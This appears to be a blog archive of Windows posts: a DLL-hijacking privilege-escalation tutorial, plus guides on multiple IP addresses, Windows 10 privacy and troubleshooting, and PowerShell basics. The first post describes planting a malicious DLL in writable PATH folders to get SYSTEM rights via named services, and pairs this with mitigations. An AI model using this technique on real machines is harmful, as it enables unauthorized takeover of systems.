Category Archives: (N) Hacking TUTS

Elevating privileges by exploiting weak folder permissions

Securing machines is always an on-going process whether it is by locking down settings, blocking applications, disabling Windows Services, making sure user privileges are kept to a minimum and so on. If we don’t then users will end up installing non-standard software, making changes to the system, malware doing more damage once getting compromised, etc. This post is about weaknesses in folder permissions leading to elevation of privilege by using DLL hijacking vulnerabilities in Windows Services.

What is DLL hijacking?
A few years ago there was quite a bit of hype being able to load malicious DLLs remotely or locally from the current working directory. The Microsoft article [1] explains it clearly

“When an application dynamically loads a dynamic-link library without specifying a fully qualified path name, Windows attempts to locate the DLL by searching a well-defined set of directories in a particular order. If an attacker gains control of one of the directories on the DLL search path, it can place a malicious copy of the DLL in that directory. This is sometimes called a DLL preloading attack or a binary planting attack. If the system does not find a legitimate copy of the DLL before it searches the compromised directory, it loads the malicious DLL. If the application is running with administrator privileges, the attacker may succeed in local privilege elevation.”

So if an application loads a DLL just by its name it goes through the search order below (32bit OS) to find the library

  1. The directory from which the application loaded
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. The current working directory (CWD)
  6. Directories in the PATH environment variable (system then user)

What are we exploiting?
The goal here is to get local admin rights on the machine. In order to achieve this we need three things to make this work

  • Windows DLL search order
  • DLL hijacking vulnerability
  • Weak folder permissions

Windows DLL search order
In Windows DLL search order the directories of the path environment variable are the last search it carries out starting with the system variable path and then the user variable path. Unless the application hasn’t used a fully qualified path name for its DLL it will try to find the DLL through the search order even with certain mitigations in place.

DLL hijacking vulnerability
A quick way to find DLL hijacking vulnerabilities is to start Process Monitor, setup the relevant filtering and carry out some actions. Here we will be exploiting Windows Services as a large number of services run on SYSTEM privileges, just by stopping and starting the services and observing the search patterns. Keep in mind that Services running under SYSTEM does not search through user path environment. After stopping and starting Services a number of vulnerabilities had been discovered.

One Windows Service being the “IKE and AuthIP IPsec Keying Modules” This service is not started and set to manual by default but might be started or set to Automatic by VPN clients, policies, other Services, etc. For someone trying to obtain local admin rights starting Process Monitor will not be possible with limited permissions so let’s go through the steps if we didn’t have rights. In this example the IKE service is used but it can be any service for software that you may not have direct access to and need to audit.

First let’s take note of the service executable through Windows Services (say services.msc via run command) checking to see if its status has started and running under localsystem.

Now checking in the registry to see if there are any service dlls being loaded by the service

We can copy these files (svchost.exe and IKEEXT.DLL) off to another machine to do our static analysis. After loading in IDA and simply searching for loadlibrary and jumping to the call will show what library is going to load. If a fully qualified path is not specified then we may be in luck. Here in IKEEXT.DLL LoadLibraryW will try to load “wlbsctrl.dll”

Note: It is not always as straight forward as in this example as the dll called might be using fully qualified path name but linked at compile time with another dll which will try to load this at load time which might be vulnerable due to being in another folder or not available.

Lastly we search for the library wlbsctrl.dll on the system to see if it exists and if so take note as to where it is located.

C:\>dir wlbsctrl.dll /s

In this case wlbsctrl.dll does not exist on the system so it will go through the entire search order.

Weak folder permissions
Now for the most important part “Weak folder permissions”. When new folders are created in the root it is writeable for all authenticated users by default. The “NT AUTHORITY\Authenticated Users:(I)(M)” gets added to the folder where M stands for modify access. So any application that gets installed on the root can be tampered with by a non-admin user. If binaries load with SYSTEM privileges from this folder it might just be a matter of replacing the binary with your own one.

It gets interesting when applications gets installed in the root and add its path to the system path environment. This now opens the attack surface for a large number of applications that may have DLL hijacking vulnerabilities. One scenario is software getting pushed onto machines, with the likes of Marimba, Landesk, etc. which use a Windows service running with system privileges to install the software. Since it runs with system privileges software pushed onto machines such as Perl, Python or Ruby it will add to the system path environment if adding the path had been set in the package along with being installed on the root as default. Or it could be an IT support personnel installs the software with their admin rights for the user. If a user installs manually (if possible) with non-admin rights then it may be added to user path environment and then exploitation would not be possible. We can use icacls.exe to check the permissions of the folder or by the folder properties security tab.

Pwning the box
From our previous sections what we know now are

  • Service “IKE and AuthIP IPsec Keying Modules” loads service dll IKEEXT.DLL
  • IKEEXT.DLL will try to load wlbsctrl.dll
  • OS with carry its search order to find wlbsctrl.dll
  • We have a writeable folder C:\Ruby200\bin which is in the search order

All we need to do now is drop our malicious crafted DLL wlbsctrl.dll in C:\Ruby200\bin, reboot the machine and it will carry out its action under SYSTEM privileges. Users requesting Ruby, Perl, etc. are probably developers and have rights anyway but there may be other software which gets installed on the root and adds to the system path where limited users might take advantage of and this where we need to do our assessment and make any changes before being deployed.

Testing folder paths
System path environment variable comes first and then user path environment variable. Running it in a medium integrity shell for an admin or non-admin user will give the same results.

Vulnerable Windows Services
Here are Windows Services that have been found to be vulnerable and could be exploited on Windows 7 (32/64)

IKE and AuthIP IPsec Keying Modules (IKEEXT)                     – wlbsctrl.dll
Windows Media Center Receiver Service (ehRecvr)               – ehETW.dll
Windows Media Center Scheduler Service (ehSched)             – ehETW.dll

The Windows Media Center Services startup type is set to manual and status not started and will only give us only Network service privileges so I cannot see it to being much use especially with its limited privileges. It can however be started temporarily via certain scheduled tasks.

schtasks.exe /run /I /TN “\Microsoft\Windows\Media Center\mcupdate”
schtasks.exe /run /I /TN “\Microsoft\Windows\Media Center\MediaCenterRecoveryTask”
schtasks.exe /run /I /TN “\Microsoft\Windows\Media Center\ActivateWindowsSearch”

A quick check on Windows XP has shown that these Services are vulnerable

Automatic Updates (wuauserv)                                                – ifsproxy.dll
Remote Desktop Help Session Manager (RDSessMgr)            – SalemHook.dll
Remote Access Connection Manager (RasMan)                      – ipbootp.dll
Windows Management Instrumentation (winmgmt)                 – wbemcore.dll

Other Services that might be installed are also vulnerable

Audio Service (STacSV)                                                    – SFFXComm.dll SFCOM.DLL
Intel(R) Rapid Storage Technology (IAStorDataMgrSvc)    – DriverSim.dll
Juniper Unified Network Service(JuniperAccessService)   – dsLogService.dll
Encase Enterprise Agent                                                    – SDDisk.dll

No dll hijacking vulnerabilities were found on a clean default installation of Windows 8 OS (64) so another good reason to start migrating to Windows 8.

There are a number of mitigations available to prevent this vulnerability to be exploited by using certain API’s, changing registry settings, applying updates, etc. it does start to get confusing as to what we are mitigating so hopefully this section will make it a bit clearer.

This update [2] at the time introduced a new registry entry CWDIllegalInDllSearch that allowed users to control the DLL search path algorithm. Tested on a fully patched Windows 7 machine this update is no longer required so it might have been later included in some security update. Once the patch is installed (if applicable) you will need to add the DWORD name CWDIllegalInDllSearch with a value in the registry key location

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]

The value data can be 1, 2 or ffffffff. If the value name CWDIllegalInDllSearch does not exist or the value data is 0 then the machine will still be vulnerable to CWD attack. Please be aware that the value ffffffff could break certain applications. The search order is the same but this time if a malicious DLL is located in the current working directory the library is not loaded.

  1. The directory from which the application loaded
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. The current working directory (CWD)            [ dlls not loaded ]
  6. Directories in the PATH environment variable (system then user)


This function [3] removes the current working directory (CWD) from the search order when loading DLLs. For instance, the DLL search order after calling SetDllDirectory(“C:\\program files\\MyApp\\”) becomes:

  1. The directory from which the application loaded
  2. C:\program files\MyApp\                                    [ added ]
  3. 32-bit System directory (C:\Windows\System32)
  4. 16-bit System directory (C:\Windows\System)
  5. Windows directory (C:\Windows)
  6. The current working directory (CWD)              [ removed ]
  7. Directories in the PATH environment variable (system then user)

Passing an empty string to SetDllDirectory(“”) the current working directory (CWD) is removed from the search order

  1. The directory from which the application loaded
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. The current working directory (CWD)             [ removed ]
  6. Directories in the PATH environment variable (system then user)

If this parameter is NULL, the function restores the default search order.

Safe DLL search mode [4] is enabled by default. To disable this feature we can create a DWORD name SafeDllSearchMode with value 0

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]

If SafeDllSearchMode is enabled, the search order is as follows:

  1. The directory from which the application loaded
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. The current working directory (CWD)
  6. Directories in the PATH environment variable (system then user)

If SafeDllSearchMode is disabled, the search order is as follows:

  1. The directory from which the application loaded
  2. The current working directory (CWD)                   [ moved up the list ]
  3. 32-bit System directory (C:\Windows\System32)
  4. 16-bit System directory (C:\Windows\System)
  5. Windows directory (C:\Windows)
  6. Directories in the PATH environment variable (system then user)

Calling the SetDllDirectory(“”) or SetDllDirectory(“C:\\program files\\MyApp\\”) disables SafeDllSearchMode and uses the search order described for SetDllDirectory.

LoadLibraryEx function [5] takes another argument where a flag can be set to change the search order but I didnt get round to test it.

Mitigation for developers
For software developers there are a number of actions they can take

  • Use SetEnvironmentVariable(TEXT(“PATH”),NULL) API which removes the path environment variable from its search order
  • Change default installation folder to C:\Program Files
  • Use fully qualified path when loading DLLs, i.e. LoadLibrary(“C:\\program files\\MyApp\\mylibrary.dll”);
  • Use SetDllDirectory(“”) API removing the current working directory from the search order

Mitigation for IT professionals
For IT support professionals there are also a number of actions that can be taken

  • When packaging and deploying software via deployment tools such as Marimba, Landesk, etc. or manually  installing software change the installation folder to C:\Program Files
  • If software needs to be installed on the root check there are no binaries needing SYSTEM privileges
  • If SYSTEM privileges are required then change the ACL’s of the folder
  • Remove the path entry from the SYSTEM path variable if not needed

This post shows us how easily elevated privileges can be achieved with very little effort. Ultimately the solution is simple by just making sure all software gets installed in the C:\Program Files folder which will then inherent it’s more secure folder permissions. Malware could take advantage of this weakness not only to obtain system privileges but also to automatically load its malware making it that much harder to pinpoint its auto start entry points.



How to Set up Multiple IP Addresses on – Windows

There are several ways to set up multiple IP addresses on a computer:

1. To have multiple network interface cards (NICs) on your computer and to assign a different IP address to each card.
2. To assign multiple IP addresses to a single NIC.
3. To combine 2 previous options: have multiple NICs with multiple IPs assigned to one or more of them.

By default, each network interface card (NIC) has its own unique IP address. However, you can assign multiple IP addresses to a single NIC.

How to assign multiple IP addresses to the same NIC


If you want to assign more than one IP address to a network card on Windows Vista, follow the steps below.

1. Choose Settings -> Network Connections on the Windows Start menu.
2. Right-click on the Local Area Connection, choose Properties.

3. Highlight Internet Protocol (TCP/IP), click Properties.

4. If you use DHCP, you should disable it: click Use the following IP address and enter IP address, Subnet mask and Default gateway.
5. Click Advanced… at the bottom.

6. Enter additional IP addresses: click the Add… button and enter a new IP address and Subnet mask.

If you use Windows XP, the whole procedure will be the same, except for the first steps:

Right-click on My Network Places, choose Properties.
Right-click on the Local Area Connection, choose Properties.

​How to secure Windows 10: The paranoid’s guide

That said, I think some people’s fears about Microsoft looking over your shoulder are over-the-top. And, I speak as someone who looks at Microsoft with a great deal of suspicion.


What you need to realize is that Microsoft has made Windows 10 both a desktop and a cloud operating system. Adding cloud functionality means that when you run Windows 10 you’ll be sharing far more information with Microsoft and its partner customers than ever before.

For example, while Windows 10 doesn’t have a keylogger itdoes collect your keystrokes and voice to improve spell-checking and voice recognition. Before having a fit about this, keep in mind that every cloud-based software-as-a-service (SaaS) program does this to one degree or another. Google Docs, Apple’s Siri, Office 365, whatever — they all collect not just your final words but every keystroke and spoken syllable that went into making those words.

It’s another case with Wi-Fi Sense. You don’t need to be afraid that Wi-FI Sense will let any of your Skype, Outlook, or Hotmail contacts use your Wi-Fi network without your permission. Yes, Wi-Fi Sense is on by default, but take a closer look. It doesn’t permit anyone to use any of your Wi-FI networks without your specific permission.


Still don’t trust these new “features?” I can’t blame you. This is not the Windows you’ve known and used for years. This is a Windows that exists both on your PC and in Microsoft’s cloud. Here’s how to lock down Windows 10 and make it more of a PC-centric operating system.

First, head to Settings/Privacy. There you will find no fewer than 13–count ’em, 13–different privacy settings screens. The major settings are under the ‘General’ screen. The other screens are concerned with which apps can and can’t access your calendar, camera, messages, microphone and so on.

On the General screen, you’ll see your Advertising ID. This is your unique ID number. Think of it as being like a web cookie and you won’t be far wrong. It’s used to identify you to Windows apps advertisers. So, for instance, if you’re a big Dallas Cowboy fan, you can count on seeing ads for Cowboys gear. Microsoft claims it doesn’t link this ID with your name, email address, or other personal information.

If you’re still concerned about keylogging, head to Privacy/Speech, inking & typing. Think long and hard about whether to use Microsoft’s “Getting to know me” improvements. Steve Hoffenberg, VDC Research‘s Director of IoT & Embedded Technology worries, for instance, that these Windows 10’s “features” violate Health Insurance Portability and Accountability Act (HIPAA) privacy requirements. If his fears are valid, this means medical offices and health insurance companies should turn off this Windows 10 setting.

I doubt he’s right, but I’m no lawyer. Even so, were I working with transactions that fall underSarbanes- Oxley (SOX), Gramm-Leach-Bliley (GLB), or HIPAA, I’d turn off this feature, and its related setting, “Windows 10 Input Personalization.” Better safe than sorry.

Be aware, however, that if you turn off the “Getting to know me,” this will also disable both dictation and Windows 10’s voice-activated assistant Cortana,

Next, you’ll want to use “Manage my Microsoft advertising and other personalization info” to decide on whether you want advertisers to show you ads based on your browsing history and interests. Better still, skip that page and head directly to Microsoft personalized ad preferences and opt out of everything. Advertisers already know far too much about me as it is.

If you rely on using OneDrive in the cloud, where it belongs, Windows 10 isn’t ready for you.

  • h each setting even if you don’t think they’ll matter. By default, each and every privacy setting is set to give Microsoft and friends the maximum possible access. This is not a good thing.

Moving on: Head to the Location settings and turn them off. While your PC probably doesn’t have a GPS like your smartphone, you’d be amazed at how accurately your location can be pinned down using Wi-Fi access points and IP address. I’ve never been comfortable with letting anyone track me and I turn location off on every device I own except when I need GPS directions.

If you turn off location services, though, you won’t be able to fully use Cortana. That’s annoying because Cortana is one of Windows 10’s best features. It’s helpful to just ask your computer a question and get useful, personalized answers. But like its older relatives, Siri and Google Now, for Cortana to show to its best advantage it needs access to an enormous amount of personal data. For instance, Cortana must have locations services on. Cortana also watches pretty much everything you write, say and do on your PC. For example, it keeps track of your flights by detecting “tracking info, such as flights, in messages on my device.”

That’s both incredibly handy and incredibly creepy. If you find it more disturbing than useful, head to Cortana’s settings, under Cortana and Search, and turn off everything there that doesn’t pass the smell test. Cortana will be less useful, but you’ll get more privacy.

Still not private enough for you? Then don’t use Windows 10, Chrome OS, iOS, Android, or any other system that’s tied closely into the cloud. Instead, use Linux as your desktop operating system. By default, Linux is the only mainstream operating system that still relies primarily on true desktop apps.

Not ready for such a radical move? Well, actually, it’s not that radical. If you can use Windows, trust me, you can use Linux distributions such as Ubuntu 15.04 or Mint 17.2.

Otherwise, get busy locking down Windows 10. Good luck.

Troubleshooting and repairing Windows 10 problems

Given the diversity of hardware and software in the Windows ecosystem, I would be shocked if the Anniversary Update to Windows 10, version 1607, were truly problem-free. And sure enough, the latest round of updates comes with its own litany of complaints.


My experience confirms that this issue is sporadic; I have multiple systems configured with system files on an SSD and data on a separate drive and have not experienced any freezing issues.

Other issues with the Anniversary Update can, unfortunately, be traced directly back to Redmond. An issue that causes some webcams to stop working after a minute or so, for example, is the result of a design decision by Microsoft engineers, who apparently didn’t talk to customers before disabling some widely used codecs.

Another problem affects the PowerShell Desired State Configuration feature. (Contrary to some headlines, it doesn’t “break PowerShell.”) That issue was caused by Microsoft shipping an update package that was missing a crucial file. A replacement patch should be available this week.

As part of the research for my book Windows 10 Inside Out(the second edition is coming out this fall), I’ve spent a lot of time on official and unofficial support forums and talking to fellow support professionals who are in the trenches with businesses. I have also received a fair number of reader emails and have gone through some remote troubleshooting with a handful of readers.

My impression, based on 25 years of Windows troubleshooting experience, is that this release of Windows is above average in terms of reliability. But it’s far from perfect, and Microsoft still has some serious work to do to get its update process under control.

If you’d prefer not to deal with update-related issues, you can and probably should wait to install the Anniversary Update. Based on experience with the initial Windows 10 launch (build 10240) and the version 1511 release, most issues that arose after the initial release in the first 60 days were resolved. That’s the Windows 10 telemetry feature working as expected.

To delay the installation of the Anniversary Update, follow the instructions in this post. Note that you must be running Windows 10 Pro or Enterprise edition to do so. If you have a system running Windows 10 Home, you can currently upgrade to Pro using a product key from Windows 7 Professional or Ultimate or Windows 8/8.1 Pro. (Note that the option to upgrade using product keys from earlier editions might stop working at some future point, so I recommend that you do so sooner rather than later.)

Go to Settings > Update & Security > Activation, click Change Product Key, and type or paste the key. The upgrade takes only a few minutes

In the remainder of this post, I want to share some other tools, tips, and techniques I use for troubleshooting problems with Windows 10. I’ve used these tactics with desktop PCs, notebooks, hybrids, and tablets, and in most cases they’ve allowed me to find and fix the underlying problem.


Most of what’s in this list is time-tested stuff, using tools that been evolving since the early days of Windows. There are some very cool new tools in Windows 10, though, which are worth finding.

Occasionally, the return on your troubleshooting investment simply isn’t worth it. Rather than spend hours trying to track down some weird bug or software interaction, I use Windows 10’s Reset option to perform the equivalent of a clean install. The process is quick and extremely robust, and the results allow you to get back to work much faster than the old-school “clean install from a Windows DVD” option. If you’ve already installed version 1607, this reset will give you a clean copy of 1607. To go back to the previous version, you’ll need to use installation media you created before August 2, 2016.


I’m assuming you’ve managed to upgrade and activate Windows 10 properly. Having cleared those hurdles, here are the most common problems people are likely to experience.

  • Nonresponsive shell. Windows 10 has a completely different shell than prior versions. The Explorer.exe process is still at its core, but there are a few additional components as well that make the “modern experience” possible. If you click the Start button and nothing happens, or if the entire taskbar refuses to respond to interaction, open Task Manager (press Ctrl+Shift+Escape), find Windows Explorer in the task list, and click the Restart button.
  • Performance issues There’s nothing more frustrating than weird, unexplained slowdowns and hangs. For those times, use Task Manager’s Performance tab and Resource Monitor to figure out which process is causing problems. In the first few hours or days after a major update, it’s normal to see some background activity caused by indexing and backup.
  • Microsoft Edge Microsoft’s new browser is greatly improved since the initial release in 2015. The biggest change is support for extensions, although the current list of available extensions is still limited. One change I recommend making is disabling Flash support, which you can do from the Settings menu (click View Advanced Settings, then slide Use Adobe Flash Player to the Off position.) If Edge doesn’t work well on the sites you use most often, replace it with a different default browser.
  • OneDrive issues The OneDrive sync utility is also greatly improved from the initial release. The new universal sync client now supports OneDrive for Business, for example, although the promised support for placeholders still hasn’t arrived.
  • Store issues In the first few months after the initial release of Windows 10, I heard multiple complaints from people unable to access apps in the Windows Store. Most of those issues were on Microsoft’s end and have been fixed by updates. If you’re still experiencing issues, you might be able to fix things with the Wsreset command, which (as you might guess from the name) resets the Windows Store.
  • Issues with individual apps The new Universal Windows apps themselves can occasionally experience problems, such as apps that refuse to open or that crash with no explanation, either in the middle of a task or shortly after opening. I am hearing fewer reports of this type of issue lately, perhaps because of updates that fixed the underlying problem. For third-party apps, uninstalling and reinstalling the app sometimes works.

Some global fixes are worth mentioning here as well.

Even for brand-new hardware, it’s worth checking for BIOS and firmware updates. Over the past year, I have seen BIOS updates work miracles on systems that were experiencing frustrating problems after the Windows 10 upgrade. It’s worth checking with the manufacturer to see if a firmware update is available for your PC. If your BIOS date is before July 2015 and a newer version is available, this is a must.

Ideally, that’s a check you want to make before upgrading.

Another troubleshooting step that’s often worth the extra effort is to create a new user account expressly for troubleshooting purposes. If a Windows feature or an app is acting up under your existing account and it runs properly under the new account, you know that the problem is in that account profile, which means a full reset isn’t necessary.

If basic troubleshooting doesn’t work, I strongly recommend the Reset option, which does the equivalent of a clean install without the hassles associated with that option in earlier Windows versions. I’ve seen this option turn troublesome systems into well-behaved PCs, and the process of restoring apps and data is relatively quick, especially if your primary storage is in the cloud.

And there’s always the option to roll back to your previous OS and wait for a few months. Troubleshooting is all well and good, but sometimes being productive means allowing someone else to be the pioneer.

A word of warning: The Anniversary Edition allows you to roll back for 10 days after the upgrade. That’s a change from the previous release, which kept the earlier build around for 30 days. After the upgrade is complete, be sure to test all your hardware and third-party software before that deadline expires.

Windows PowerShell: Scripting Crash Course

More of you are getting used to Windows PowerShell and realizing its advantages. With that in mind, this month’s column is going to be a long one. This is a lightning overview of Windows PowerShell scripting, including how to build parameterized scripts. Over the next few months, I’ll focus on specific topics that build on this foundation.

If you’re not used to running Windows PowerShell commands in the console, you might find this too advanced, but try to plow through anyway. You should have a thorough understanding of Windows PowerShell security features. You should already know about execution policy, and know what setting you’re using. If you don’t already know the difference between “RemoteSigned” and “AllSigned,” and why one might be better than the other, you might not be ready for the following material.


You should also know how to execute scripts in the shell, and should recall that you always have to provide a path and filename in order to execute a script. Finally, you should also know the difference between running a script in the Integrated Scripting Environment (ISE) and the console. In the ISE, scripts run in the global scope. In the normal shell console, scripts get their own scope. I’ll review scope, but you should already have an idea of what it means and what it does.

Try to follow along as you read this column. Try the examples. If you type (or copy and paste) the script examples into the Windows PowerShell ISE starting on line 1, then your line numbers will correspond with the line numbers in the descriptions.

Windows PowerShell Script Files

A Windows PowerShell script file is nothing more than a plain-text file that has a .PS1 filename extension. The “1” doesn’t refer to the version of Windows PowerShell, but rather the version of the language engine. Windows PowerShell version 1 and 2 both use language engine version 1. That’s why both versions of the shell are installed into a v1.0 folder under \Windows\System32\WindowsPowerShell.

A Windows PowerShell script isn’t exactly like a command-line batch file, and running a script isn’t precisely the same as running the same commands yourself in the same sequence. For example, open a console window and run the following, pressing Enter after each line (remember not to type the line numbers):

  1. Get-Service
  2. Get-Process

Now type those exact same lines into a script file, or the ISE script editing pane, and run the script. You’ll get different-looking results. Each time you hit Enter in Windows PowerShell, you start a new pipeline. Whatever commands you typed are run in that single pipeline. At the end of the pipeline, Windows PowerShell converts its contents into a text display. When you run the two commands in the normal console, you’ve done so in two distinct pipelines.

Windows PowerShell was able to construct a unique display for each set of output. When entered into a script, however, both commands ran in the same pipeline. The Windows PowerShell formatting system isn’t sophisticated enough to construct the same unique output for two different sets of results. Try running this in the console:

  1. Get-Service;Get-Process

Those results should look the same as they did when you ran the script containing those two commands. In this case, both commands ran in a single pipeline. That’s what happened when you ran the script.

The practical upshot of all this is that a script should produce only one kind of output. It’s a bad idea, due in large part to the limitations of the formatting system. There are other considerations, as well. You don’t want a script dumping several different kinds of things into the pipeline at the same time.

Focus on that as a rule for everything we’ll cover. A script should generate one, and only one, type of output. The only exception would be if it’s a script being used as a repository for multiple functions. In that case, each function should generate one, and only one, type of output.


Think of variables as a box. You can put one or more things, even dissimilar things, into this box. The box has a name, and in Windows PowerShell that name can include almost anything. “Var” can be a variable name, as can “{my variable}”. In that second example, the curly brackets enclose a variable name that contains spaces, which is pretty ugly. As a good practice, stick with variable names that include letters, numbers and underscores.

Using a variable’s name references the entire “box.” If you want to reference the contents of the box, add a dollar sign: $var. You’ll often see Windows PowerShell variables preceded with the dollar sign because the whole point of using one is to get at the contents. It’s important to remember, however, that the dollar sign isn’t part of the variable name. It’s just a cue to tell Windows PowerShell that you want the contents, rather than the box itself. For example:

  1. $var = ‘hello’
  2. $number = 1
  3. $numbers = 1,2,3,4,5,6,7,8,9

Those examples show you how to place items into a variable using the assignment operator (=). That last example creates an array, because Windows PowerShell interprets all comma-separated lists as an array, or collection, of items. The first example assigns a string object, with the characters in the string contained within quotation marks.

There’s one aspect of Windows PowerShell that can confuse newcomers. Windows PowerShell doesn’t “understand” any meaning you may associate with a variable name. A variable like $computername doesn’t “tell” the shell that the variable will contain a computer name.

Similarly, $numbers doesn’t “tell” the shell that a variable will contain more than one number. The shell doesn’t care if you use a plural variable name. The statement

  1. $numbers = 1

is equally valid to the shell, as is

  1. $numbers = ‘fred.’

When a variable does contain multiple values, however, you can use a special syntax to access just a single one of them. You would use $numbers[0] as the first item, $numbers[1] is the second, $numbers[-1] is the last, $numbers[-2] is the second-last and so on.

Quotation Marks

As a best practice, use single quotes to delimit a variable unless you have a specific reason to do otherwise. There are three specific instances where you would want to use double quotes.

The first is when you need to insert a variable’s contents into a string. Within double quotes only, Windows PowerShell will look for the $, and will assume that everything after the $, up to the first character that’s illegal in a variable name, is a variable name. The contents of that variable will replace the variable name and the $:

  1. $name = ‘Don’
  2. $prompt = “My name is $name”

The $prompt will now contain “My name is Don” because $name will be replaced with the variable contents. This is a great trick for joining strings together without having to concatenate them.

Within double quotes, Windows PowerShell will also look for its escape character, the backtick or grave accent, and act accordingly. Here are a couple of examples:

  1. $debug = “`$computer contains $computer”
  2. $head = “Column`tColumn`tColumn”

In the first example, the first $ is being “escaped.” That removes its special meaning as a variable accessor. If $computer contained ‘SERVER,’ then $debug would contain “$computer contains SERVER.”

In the second example, `t represents a horizontal tab character, so Windows PowerShell will place a tab between each Column. You can read about other special escape characters in the shell’sabout_escape_characters help topic.

Finally, use double quotes when a string needs to contain single quotes:

  1. $filter1 = “name=’BITS'”
  2. $computer = ‘BITS’
  3. $filter2 = “name=’$computer'”

In this example, the literal string is name=’BITS.’ The double quotes contain the whole thing. Both $filter1 and $filter2 end up containing exactly the same thing, but $filter2 gets there by using the variable-replacement trick of double quotes. Note that only the outermost set of quotes actually matters. The single quotes within the string don’t matter to Windows PowerShell. Those single quotes are just literal characters. Windows PowerShell doesn’t interpret them.

Object Members and Variables

Everything in Windows PowerShell is an object. Even a simple string such as “name” is an object, of the type System.String. You can pipe any object to Get-Member to see its type name (that is, the kind of object it is) as well as its members, which includes its properties and methods:

  1. $var = ‘Hello’
  2. $var | Get-Member

Use a period after a variable name to tell the shell, “I don’t want to access the entire object within this variable. I want to access just one of its properties or methods.” After the period, provide the property or method name.

Method names are always followed by a set of parentheses. Some methods accept input arguments, and those go within the parentheses in a comma-separated list. Other methods require no arguments, and so the parentheses are empty, but don’t forget the parentheses:

  1. $svc = Get-Service
  2. $svc[0].name
  3. $name = $svc[1].name
  4. $name.length
  5. $name.ToUpper()

Notice line two. It starts by accessing the first item in the $svc variable. The period means, “I don’t want that entire object. I just want a property or method.” This accesses just the name property. Line five illustrates how to access a method, by providing its name after a period, followed by parentheses.

A period is normally an illegal character within a variable name, because the period means we want to access a property or method. That means line two in the following example won’t work the way you might expect:

  1. $service = ‘bits’
  2. $name = “Service is $service.ToUpper()”
  3. $upper = $name.ToUpper()
  4. $name = “Service is $upper”

On line two, $name will contain “Service is BITS.ToUpper()” whereas on line four $name will contain ”Service is BITS.”


Aside from their use with object methods, parentheses also act as an order-of-execution marker for Windows PowerShell, just like in algebra. In other words, parentheses tell the shell to “execute this first.” The entire parenthetical expression is replaced by whatever that expression produces. Here’s a mind-bending couple of examples:

  1. $name = (Get-Service)[0].name
  2. Get-Service -computerName (Get-Content names.txt)

On line one, $name will contain the name of the first service on the system. Reading this takes a bit of effort. Start with the parenthetical expression. That’s what Windows PowerShell will start with as well. The “Get-Service” resolves to a collection, or array, of services. The [0] accesses the first item in an array, so that will be the first service. Because it’s followed by a period, we know we’re accessing a property or method of that service, rather than the entire service object. Finally, we pull out just the name of the service.

On line two, the parenthetical expression is reading the contents of a text file. Assuming the file contains one computer name per line, “Get-Content”” will return an array of computer names. Those are fed to the “–computerName” parameter of “Get-Service.” In this case, the shell can feed any parenthetical expression that returns an array of strings to the
“–computerName” parameter, because the parameter is designed to accept arrays of strings.


Scope is a programming concept that acts as a containerization system. Things like variables, aliases, PSDrives and other Windows PowerShell elements are all stored in a scope. The shell maintains a hierarchy of scopes, and has a set of rules that determine how scopes can interact and share information with each other.

The shell itself is a single scope, called the global scope. When you run a script, it constructs a new scope and the script runs within that. Anything created by the script, such as a new variable, is stored within the script’s scope. It isn’t accessible by the top-level shell.

When the script finishes running, its scope is discarded, and anything created within that scope disappears. For example, create a script that contains the following (don’t forget to not type the line numbers), and then run that script from the console window:

  1. New-PSDrive -PSProviderFileSystem -Root C:\ -Name Sys
  2. Dir SYS:

After running the script, manually run “Dir SYS:” and you should see an error. That’s because the SYS: drive was created in the script. Once the script was done, everything it created was discarded. The SYS: drive no longer exists. Not everything in the shell is scoped. Items such as modules are handled globally at all times. A script can load a module and the module will remain loaded after the script is done.

If a scope tries to access something that wasn’t created within that scope, then Windows PowerShell looks to the next-higher scope (the “parent” scope). That’s why the Dir alias worked in that script you just entered. Although Dir didn’t exist in the script’s scope, it did exist in the next-higher scope: the global scope. A scope is free to create an item that has the same name as an item from a higher-level scope, though. Here’s another script to try:

  1. Dir
  2. New-Alias Dir Get-Alias
  3. Dir

That may look weird, but the first time it ran “Dir,” it didn’t exist in the script’s scope. It used the higher-level Dir alias. That alias points to Get-ChildItem, so it displayed a familiar directory listing.

Then, the script creates a new alias named Dir. This points to Get-Alias. That’s what was run the second time. None of this affected the top-level Dir alias. Try running Dir in the shell after running the previous script, and you’ll still get a directory listing.

Scope can be especially confusing when it comes to variables. As a rule, a given scope should never access out-of-scope items, especially variables. There’s a syntax for doing so, such as using $global:var to forcibly access the global scope’s $var variable, but that’s a bad practice except under very specific circumstances.

Windows PowerShell Scripting Language

Windows PowerShell contains a very simplified scripting language of less than two dozen keywords. That’s a stark contrast to a full programming language such as VBScript, which contains almost 300 keywords.

Simplified though it may be, the Windows PowerShell language is more than sufficient to do the job. I’ll review its major scripting constructs now, although you can always get more help on these by reading the appropriate “about” topic within the shell. For example, help about_switchcontains information on the Switch construct, while help about_if contains information on the If construct. Run help about* for a list of all “about” topics.

The If Construct

This is the Windows PowerShell main decision-making construct. In its full form, it looks like this:

  1. If ($this -eq $that) {
  2. # commands
  3. } elseif ($those -ne $them) {
  4. # commands
  5. } elseif ($we -gt $they) {
  6. # commands
  7. } else {
  8. # commands
  9. }

The “If” keyword is a mandatory part of this construct. A parenthetical expression follows that must evaluate to either True or False. Windows PowerShell will always interpret zero as False, and any nonzero value as True.

Windows PowerShell also recognizes the built-in variables $True and $False as representing those Boolean values. If the expression in parentheses works out to True, then the commands in the following set of curly brackets will execute. If the expression is False, then the commands won’t execute. That’s really all you need for a valid If construct.

You can go a bit further by providing one or more “ElseIf” sections. These work the same way as the If construct. They get their own parenthetical expression. If it’s True, the commands within the following curly brackets will execute. If not, they won’t.

You can wrap up with an Else block, which will execute if none of the preceding blocks execute. Only the block associated with the first True expression will execute. For example, if $this did not equal $that, and $those did not equal $them, then the commands on line four would execute—and nothing else. Windows PowerShell won’t even evaluate the second elseif expression on line five.

The # character is a comment character, making Windows PowerShell essentially ignore anything from there until a carriage return. Also notice the care with which those constructs were formatted. You might also see formatting like this from some folks:

  1. if ($those -eq $these)
  2. {
  3. #commands
  4. }

